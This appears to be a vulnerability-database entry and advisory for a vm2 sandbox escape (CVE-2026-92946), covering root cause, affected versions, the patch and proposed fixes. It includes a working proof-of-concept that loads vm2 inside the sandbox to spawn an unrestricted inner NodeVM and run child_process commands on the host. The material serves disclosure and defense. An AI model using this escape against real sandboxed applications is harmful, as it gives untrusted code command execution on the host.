Easily map the attack path and prioritize which CVEs are a threat to your organization
Miggo AIGenerate vendor-ready rules for the observed attack patterns, plus reasoning and safe deployment guidance
Miggo AIRoot Cause AnalysisThe vulnerability CVE-2026-92946 in vm2 arises from an insecure default configuration when NodeVM is initialized with require.external: true but without an explicit require.root. In this scenario, two default behaviors combine to defeat the sandbox: require.root defaults to unrestricted access, and require.context defaults to 'host', meaning modules are loaded and executed directly by the host's Node.js runtime.
The primary vulnerable component is the CustomResolver.isPathAllowed function within lib/resolver-compat.js. In the vulnerable version, this function contained logic that would unconditionally return true if this.rootPaths (which corresponds to the require.root option) was undefined. This effectively granted sandboxed code the ability to require() any arbitrary path on the host filesystem, bypassing intended security restrictions.
Once an arbitrary path is allowed by CustomResolver.isPathAllowed, the CustomResolver.loadJS function, also in lib/resolver-compat.js, becomes the execution vector. This function, under the default context: 'host', utilizes this.hostRequire(filename) to load the module. this.hostRequire is a reference to the real, unsandboxed Node.js require() function. Consequently, any module loaded through this path, including vm2's own internal modules (e.g., node_modules/vm2), would be executed in the host environment with full system privileges, leading to a complete sandbox escape and Remote Code Execution.
The provided patch addresses this by: (1) introducing a new isVm2SelfRequire check within CustomResolver.isPathAllowed to specifically deny sandboxed code from requiring vm2's own internal files, thereby preventing the nested NodeVM escape route; (2) adding a console.warn in makeResolverFromLegacyOptions to alert developers about the unsafe combination of require.external: true without require.root and a host context; and (3) modifying lib/cli.js to explicitly set root: pa.dirname(path) and context: 'sandbox' when running scripts, mitigating the vulnerability in the CLI's usage. The core vulnerability, however, lies in the permissive logic of CustomResolver.isPathAllowed and the subsequent unsandboxed execution via CustomResolver.loadJS in the absence of these critical checks.
CustomResolver.isPathAllowedlib/resolver-compat.js
CustomResolver.loadJSlib/resolver-compat.js
| Package Name | Ecosystem | Vulnerable Versions | First Patched Version |
|---|---|---|---|
| vm2 | npm | <= 3.11.6 | 3.11.7 |
lib/resolver-compat.js:
const {
builtin: builtinOpt,
mock: mockOpt,
external: externalOpt,
root: rootPaths,
resolve: customResolver,
customRequire: hostRequire = defaultRequire,
context = 'host', // <-- defaults to 'host'
strict = true,
fs: fsOpt = DEFAULT_FS,
} = options;
...
if (!externalOpt) return new Resolver(fsOpt, [], builtins);
...
let checkedRootPaths;
if (rootPaths !== undefined) {
// root is only canonicalized/validated if the embedder explicitly provided one.
...
}
and CustomResolver.isPathAllowed:
isPathAllowed(filename) {
if (this.rootPaths === undefined) return true; // <-- unrestricted when root is omitted
...
}
and CustomResolver.loadJS:
loadJS(vm, mod, filename) {
if (this.pathContext(filename, 'js') !== 'host') return super.loadJS(vm, mod, filename);
const m = this.hostRequire(filename); // <-- real host require(), when context === 'host' (the default)
mod.exports = vm.readonly(m);
}
CustomResolver (the resolver used whenever require.external is a bare true, i.e. not a scoped array/object) has no external-module-name allowlist at all — it gates purely on isPathAllowed, which is a no-op when root isn't set. Combined with context defaulting to 'host', any absolute or root-relative path sandboxed code names is loaded and executed via the real, unsandboxed Node.js require().
This is a distinct code path from the two already-fixed advisories that produce a similar end state:
require.root symlink bypass) assumes root is configured and attacks the symlink boundary via a TOCTOU between path.resolve() and the native loader's symlink-following. git log -- lib/resolver-compat.js shows its fix (realpath canonicalization) is the only history that file has — nothing from the nesting fix touches it, and the fix does nothing when root is never set in the first place, since there is no boundary to attack via symlink.nesting: true bypass) closes a different delivery mechanism entirely — the NESTING_OVERRIDE-injected vm2 builtin, gated by a constructor-time check on the nesting option. That check is never consulted by this path: an embedder with nesting: false (the default) and no dangerous require.builtin entries is still fully exposed via require.external: true alone.An embedder who has correctly mitigated both prior advisories remains completely open through this one.
Documentation framing does not mitigate this to "expected behavior." require.external's JSDoc does carry an inline warning ("root should be set to restrict the script from requiring any module"), but it is unbolded prose stating a default, not flagged as dangerous — materially weaker than nesting: true's bolded WARNING, dedicated README section, and explicit "grants unrestricted host module access" language, all of which existed and still did not prevent nesting from being filed (twice: GHSA-8hg8-63c5-gwmx, then hardened again by GHSA-m4wx-m65x-ghrr). The literal, first-shown "Quick Examples" snippet in README.md sets root: './', which reads as an active safety choice, not an acknowledgment of "every path is allowed."
See attached poc.js. Reproduces using vm2's own documented Quick Examples config, in a normal project layout (poc.js next to a real node_modules/vm2 install) — no symlinks, no nesting, no dangerous require.builtin entries, no modification to vm2's source.
const path = require('path');
const { NodeVM } = require('vm2');
const vm = new NodeVM({
require: { external: true, root: './' }, // verbatim from README "Quick Examples"
});
let vm2EntryPoint = path.relative(process.cwd(), require.resolve('vm2')).replace(/\\/g, '/');
if (!vm2EntryPoint.startsWith('.')) vm2EntryPoint = './' + vm2EntryPoint;
const result = vm.run(`
const real = require(${JSON.stringify(vm2EntryPoint)});
const inner = new real.NodeVM({ require: { builtin: ['child_process'], external: false } });
module.exports = inner.run("module.exports = require('child_process').execSync('whoami').toString().trim()", 'inner.js');
`, 'untrusted-plugin.js');
console.log(result); // real host username, e.g. "Abisheik M"
Actual output on the test machine:
{ whoami: 'Abisheik M', platform: 'win32' }
Abisheik M is the real OS account executing the Node.js process — not a sandbox artifact.
Any application that follows vm2's own README "Quick Examples" pattern (or any config with require.external enabled and require.root set to a path that includes node_modules, or omitted entirely) allows sandboxed/untrusted code to:
child_process (full RCE).fs (once inside the re-instantiated unrestricted NodeVM).NodeVM — the outer allowlist becomes irrelevant once the sandbox obtains an unrestricted inner instance.Mirror the precedent already established for nesting (Category 25) and require.root (Category 24): fail loudly at construction time instead of silently defaulting to an unsafe combination.
In lib/resolver-compat.js's makeResolverFromLegacyOptions, when externalOpt is truthy (bare true, or an object/array not scoped to specific module names only) and rootPaths === undefined, throw a VMError at new NodeVM(...) construction time — extending the same checkedRootPaths eager-probe block that Category 24's fix already introduced for the "root is set but the fs adapter can't realpath" case, to also cover "root was never set at all." This forces embedders to make an explicit, informed choice rather than inheriting an unrestricted default, exactly mirroring how Category 25's fix forces an explicit non-default require object when nesting: true is set.
Additionally: update README.md's "Quick Examples" snippet so it no longer shows a root value that is silently vulnerable to a same-directory node_modules install (e.g. scope it below the project root, or add an explicit callout that root must exclude node_modules).